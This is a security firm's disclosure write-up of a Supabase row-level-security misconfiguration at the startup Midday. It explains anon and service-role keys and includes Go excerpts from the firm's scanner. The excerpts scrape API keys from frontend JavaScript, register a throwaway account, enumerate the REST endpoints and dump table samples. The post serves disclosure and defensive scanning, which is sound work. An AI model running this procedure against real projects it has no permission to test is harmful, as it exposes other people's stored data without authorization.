Exploiting misconfigured Supabase instances to read arbitrary data

Most modern web applications rely on databases to store and manage data efficiently, and services like Supabase have become increasingly popular due to their ease of use and robust features. However, misconfigurations in these services can expose sensitive data to unauthorized access. In this post, we’ll delve into the world of Supabase misconfigurations and demonstrate how such vulnerabilities can be exploited to read arbitrary data, potentially compromising the security and integrity of your web applications.

A case study: Midday

A few days prior, we automated the exploitation of a misconfigured Supabase instance belonging to Midday (@middayai). The misconfiguration allowed us to read arbitrary data from the Supabase instance, potentially compromising the security and integrity of the application.

Any information not disclosed in this post is protected under a Non-Disclosure Agreement within Lunchcat.

Disclosure Timeline

  • June 22 @ 9:00 AM UTC-04 Lunchcat's security team submits a report to Midday
  • June 22 @ 9:45 AM UTC-04 Issue is patched internally by Midday
  • June 22 @ 10:00 AM UTC-04 Sign-in to Midday is re-enabled
  • June 22 @ 11:16 AM UTC-04 Lunchcat gets approval to publicly disclose a report
  • June 22 @ 02:20 PM UTC-04 Report is sent for review to Lunchcat Team
  • June 23 @ 05:00 PM UTC-04 Report is validated by Lunchcat

The Vulnerability

The vulnerability/misconfiguration that is commonly seen in Supabase applications is due to the fact that Supabase, by default, doesn't have robust security rules. Supabase requires the developers to add those rules manually. This isn't a vulnerability with Supabase but rather a vulnerability and overlook related to most sites using the service improperly.

In a Supabase application, there is usually no backend. Supabase, as the name implies, is a database solution featuring an auth provider and other powerful features directly integrated. This means that the client directly communicates with the database rather than a backend. This is why database security rules are an important part of the Supabase ecosystem.

However, in the rush of startup development, security gets looked over quite a lot. This causes companies to overlook the need for security rules, and fast-track for development without any concern related to security.

Supabase uses PostgREST in the backend, most supabase projects are hosted on <project-id>.supabase.co subdomains.

Authorizing database requests

Authorization to the database works around an apikey header, which has a database role assigned to it. There are two well-known roles:

  • service_role: The superuser that will bypass all security rules. This should never be available in the client.
  • anon: The anonymous role that should be used in the client.

These are defined in a JWT (JSON Web Token) that looks similar to this:

{
  "iss": "supabase",
  "ref": "pytddvqiozwrhfbwqazp",
  "role": "anon",
  "iat": 1696583638,
  "exp": 2012159638
}

This JWT then gets passed as the apikey header for all requests going to Supabase.

The frontend normally needs access to the anon role JWT. Hence, it is likely to be seen in the JavaScript frontend code, and this is totally fine. However, this easy API design allows us to easily enumurate Supabase with simple REST requests.

Authenticating database requests

Supabase is meant to be used alongside their auth product. Hence, by default, Supabase supports a second standard JWT for the Authorization header which contains the user token.

This user token can then be used in RLS (Row Level Security) rules to authenticate the user and make sure they can access only what they should be able to.

Midday's security case

Midday implemented RLS rules in a common, however insecure way, where they allowed all requests to their users table, as long as you had an user account. This is similar to another write-up where researchers found a vulnerable firebase instance that allowed all read/writes as long as you had a valid user. This allowed lunchcat/sif, one of our automated scanning tools, to quickly detect and exploit the vulnerability.

Midday's response to our concern was done in a really effective manner. The vulnerability was patched within 45 minutes and no unauthorized party seemed to have attempted to exploit a similar type of vulnerability. To conclude, no user data seems to be in the wrong hands.

How we automate it

Our automation process involves scanning Supabase instances for misconfigurations and exploiting them to read arbitrary data. We use a combination of static analysis, dynamic analysis, and manual verification to identify and exploit vulnerabilities in Supabase instances.

The following source code is part of lunchcat/sif, and is licensed and copyrighted by Lunchcat.

jwtRegex := regexp.Compile("[\"|'|`](ey[A-Za-z0-9_-]{2,}(?:\\.[A-Za-z0-9_-]{2,}){2})[\"|'|`]")

var results = []supabaseScanResult{}
jwtGroups := jwtRegex.FindAllStringSubmatch(jsContent, -1)

var jwts = []string{}

for _, jwtGroup := range jwtGroups {
        jwts = append(jwts, jwtGroup[1])
}

slices.Sort(jwts)
jwts = slices.Compact(jwts)

First off, we scan the Supabase instance for JWTs using a regular expression. Then, we decode the JWTs to extract the project ID and create a new user account using the Supabase API. We then authenticate requests to the Supabase API using the JWT and retrieve sample data from the collections. Finally, we extract the sample data and store it in a local database for further analysis.

decoded := base64.RawStdEncoding.DecodeString(body)

supabaselog.Debugf("JWT body: %s", decoded)
var supabaseJwt *supabaseJwtBody

We then create a new user account using the Supabase API and authenticate requests to the Supabase API using the JWT.

req := http.NewRequest("POST", "https://"+*supabaseJwt.ProjectId+".supabase.co/auth/v1/signup", bytes.NewBufferString(`{"email":"automated`+strconv.Itoa(int(time.Now().Unix()))+`@sif.sh","password":"automatedacct"}`))
...

req.Header.Set("apikey", jwt)

After creating the account, we authenticate requests to the Supabase API using the JWT and retrieve sample data from the collections.

content := string(body)

var data map[string]interface{}
json.Unmarshal([]byte(content), &data)
...

auth = data["access_token"].(string)

Finally, we extract the sample data.

var paths = index["paths"].(map[string]interface{})

for k := range paths {
        sampleObj := GetSupabaseJsonResponse(*supabaseJwt.ProjectId, "/rest/v1"+k, jwt, &auth)
        samples := sampleObj["array"].([]interface{})
        marshalled := json.Marshal(samples)

        supabaselog.Infof("Got sample (1000 entries) for collection %s: %s", k, string(marshalled))

        limitedSample := samples[0:int(math.Min(float64(len(samples)), 10))]

        collection := supabaseCollection{
                Name:   strings.TrimPrefix(k, "/"),
                /* LUNCHCAT_INTERNAL_HIDDEN */
                Count:  sampleObj["count"].(int),
        }

        if collection.Count > 1 {
                collections = append(collections, collection)
        }
}

This approach allows us to automatically identify and exploit misconfigurations in Supabase instances, enabling us to read arbitrary data and demonstrate the potential risks associated with such vulnerabilities.

More about us

Lunchcat provides an all-in-one platform to automatically test and secure your web applications. Our platform is designed to help developers and security teams identify and fix security vulnerabilities in their applications, ensuring that sensitive data remains protected from unauthorized access.

One of our security tools, lunchcat/sif, is open-source and available for researchers and students for free. We encourage you to check it out and contribute to the project!

If you're a company looking forward to let us streamline your security testing process, feel free to sign up to our beta program on our website.